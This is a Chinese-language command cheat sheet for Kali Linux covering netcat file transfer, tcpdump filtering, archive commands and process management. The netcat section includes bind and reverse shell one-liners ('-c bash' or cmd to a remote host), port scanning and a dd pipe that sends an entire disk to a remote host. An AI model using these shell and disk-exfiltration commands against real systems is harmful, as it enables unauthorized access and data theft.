Netcat文件传输工具(NC)
- windowns安装nc:将下载好的nc.exe文件放到windows下(也可以在/usr/share/windows-binaries/nc.exe得到nc.exe文件): C:\Windows\System32目录
- Windwos下使用命令:
发送端:nc –n ip port < yyy 接收端:nc –n –l –p port –vv > xxx
发送端:nc –n ip port < yyy 接收端:nc –n –l –p port –vv –w 3 > xxx
发送端:nc –n –l –p port –vv –w 3 < xxx windows 接收端:nc –n ip port > yyy linux
发送端:nc –q 1 –lp 333 < xxx linux 接收端:nc –n ip port > yyy windows
- Linux下使用的命令:
传输文件: A: nc –l –p 4444 >1.mp4 B: nc –nv 1.1.1.1 4444 <1.mp4 –q 1
A:nc –q 1 –lp 333 < a.mp4 B:nc –nv 1.1.1.1 333 >2.mp4
传输目录: A:tar –cvf – music/ | nc –lp 333 –q 1 B:nc –nv 1.1.1.1 333 | tar –xvf –
加密传文件: A:nc -lp 333 | mcrypt --flush -Fbqd -a rijndael-256 -m ecb > 1.mp4 B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
流媒体服务: A: cat 1.mp4 | nc -lp 333 B: 1.1.1.1 333 | mplayer -vo x11 -cache 3000 –
端口扫描: nc -nvz 1.1.1.1 1-65535 nc –vnzu 1.1.1.1 1-1024
远程克隆硬盘: A: nc -lp 333 | dd of=/dev/sda B: dd if=/dev/sda | nc -nv 1.1.1.1 333 –q 1
远程控制: (正向) A:nc -lp 333 -c bash B:nc 1.1.1.1 333
(反向)
A: nc -lp 333 B:nc 1.1.1.1 333 -c bash 注:Windows⽤户把bash改成cmd;
TCPDUMP——抓包
抓包:tcpdump -i eth0 -s 0 -w file.pcap 读取抓包⽂件:Tcpdump -r file.pcap
TCPDUMP——筛选
• tcpdump -n -r http.cap | awk '{print $3}'| sort –u • tcpdump -n src host 145.254.160.237 -r http.cap • tcpdump -n dst host 145.254.160.237 -r http.cap • tcpdump -n port 53 -r http.cap • tcpdump -nX port 80 -r http.cap
TCPDUMP——⾼级筛选
• tcpdump -A -n 'tcp[13] = 24' -r http.cap
linux压缩和解压缩命令大全
linux压缩和解压缩命令大全
tar命令
解包:tar zxvf FileName.tar
打包:tar czvf FileName.tar DirName
gz命令
解压1:gunzip FileName.gz
解压2:gzip -d FileName.gz
压缩:gzip FileName
.tar.gz 和 .tgz
解压:tar zxvf FileName.tar.gz
压缩:tar zcvf FileName.tar.gz DirName
压缩多个文件:tar zcvf FileName.tar.gz DirName1 DirName2 DirName3 ...
bz2命令
解压1:bzip2 -d FileName.bz2
解压2:bunzip2 FileName.bz2
压缩: bzip2 -z FileName
.tar.bz2
解压:tar jxvf FileName.tar.bz2
压缩:tar jcvf FileName.tar.bz2 DirName
bz命令
解压1:bzip2 -d FileName.bz
解压2:bunzip2 FileName.bz
压缩:未知
.tar.bz
解压:tar jxvf FileName.tar.bz
Z命令
解压:uncompress FileName.Z
压缩:compress FileName
.tar.Z
解压:tar Zxvf FileName.tar.Z
压缩:tar Zcvf FileName.tar.Z DirName
zip命令
解压:unzip FileName.zip
压缩:zip FileName.zip DirName
kali其他命令
- 查看端口占用服务:
- netstat -nltp |grep 8080 #root
- sudo netstat -nltp | grep 3306 #普通
- sudo fuser -k 5000/tcp #杀死进程端口
- ps aux | grep python /ps -ef|grep java|grep -v grep#查看进程
- kill -9 1316 #杀死进程
- dpkg –L 文件名
- 运行python脚本记得安装:sudo pip3 install scapy
- Scapy包下IP、tcp用all.IP、all.TCP